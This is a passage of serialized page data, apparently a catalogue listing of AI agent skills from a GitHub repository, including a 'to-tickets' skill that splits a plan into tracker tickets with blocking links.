briefs.","https:\u002F\u002Fgithub.com\u002Fmeldomapp\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Ftriage\u002FSKILL.md",[],[],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":19},"01M7C1EVKH03P4S11WDNSFYNRR","to-tickets","Break a plan, spec, or the current conversation into a set of tracer-bullet tickets, each declaring its blocking edges, published to the configured tracker (edges as text in one file per ticket locally, or native blocking links on a real tracker).","https:\u002F\u002Fgithub.com\u002Fmeldomapp\u002Fskills\u002Fblob\u002Fmain\u002Fskills\u002Fto-tickets\u002FSKILL.md",[],[]]